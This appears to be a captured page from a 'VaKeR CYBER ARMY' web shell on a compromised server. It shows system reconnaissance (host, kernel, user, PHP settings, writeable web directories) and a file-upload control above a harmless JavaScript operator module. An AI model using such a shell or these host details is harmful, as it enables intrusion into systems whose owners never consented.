VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-full/dist/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-full/dist/js/mdls__absol__src__SCLang__SCBinaryOperators.js
/*** module: node_modules/absol/src/SCLang/SCBinaryOperators.js ***/
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.ADD = ADD;
exports.SUB = SUB;
exports.MUL = MUL;
exports.DIV = DIV;
exports.MOD = MOD;
exports.NEGATIVE = NEGATIVE;
exports.POSITIVE = POSITIVE;
exports.NOT = NOT;
exports.LESS_THAN = LESS_THAN;
exports.MORE_THAN = MORE_THAN;
exports.EQUAL = EQUAL;
exports.LESS_AND_EQUAL = LESS_AND_EQUAL;
exports.MORE_AND_EQUAL = MORE_AND_EQUAL;

var _datetime = require("../Time/datetime");

function ADD(a, b) {
  var type_a = typeof a;
  var type_b = typeof b;

  if (type_a === "number" && type_b === "number") {
    return a + b;
  }

  if (type_a === "undefined" && type_b === "undefined") return undefined;

  if (type_a === 'string') {
    if (type_b === "string") return a + b;
    if (b instanceof Date) return a + (0, _datetime.formatDateTime)(b, 'dd/MM/yyyy');
    if (type_b === "number") return a + b;
  }

  if (a instanceof Date) {
    if (type_b === 'number') {
      return new Date(a.getTime() + _datetime.MILLIS_PER_DAY * b);
    } else if (type_b === 'string') {
      return (0, _datetime.formatDateTime)(a, 'dd/MM/yyyy') + b;
    }
  }

  console.error("Can not add: ", a, b);
  return NaN;
}

function SUB(a, b) {
  var type_a = typeof a;
  var type_b = typeof b;

  if (type_a === "number" && type_b === "number") {
    return a - b;
  }

  if (type_a === "undefined" && type_b === "undefined") return undefined;

  if (a instanceof Date) {
    if (type_b === 'number') {
      return new Date(a.getTime() - _datetime.MILLIS_PER_DAY * b);
    }
  }

  console.error("Can not sub: ", a, b);
  return NaN;
}

function MUL(a, b) {
  var type_a = typeof a;
  var type_b = typeof b;

  if (type_a === "number" && type_b === "number") {
    return a * b;
  }

  if (type_a === "undefined" && type_b === "undefined") return undefined;

  if (type_a === "string" && type_b === "number") {
    return a.repeat(b);
  }

  console.error("Can not mul: ", a, b);
  return NaN;
}

function DIV(a, b) {
  var type_a = typeof a;
  var type_b = typeof b;

  if (type_a === "number" && type_b === "number") {
    return a / b;
  }

  if (type_a === "undefined" && type_b === "undefined") return undefined;
  console.error("Can not div: ", a, b);
  return NaN;
}

function MOD(x, m) {
  return x % m;
}

function NEGATIVE(x) {
  return -x;
}

function POSITIVE(x) {
  return x;
}

function NOT(x) {
  return !x;
}

function LESS_THAN(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a < b;
}

function MORE_THAN(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a > b;
}

function EQUAL(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a === b;
}

function LESS_AND_EQUAL(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a <= b;
}

function MORE_AND_EQUAL(a, b) {
  if (a instanceof Date) a = a.getTime();
  if (b instanceof Date) b = b.getTime();
  return a >= b;
}

VaKeR 2022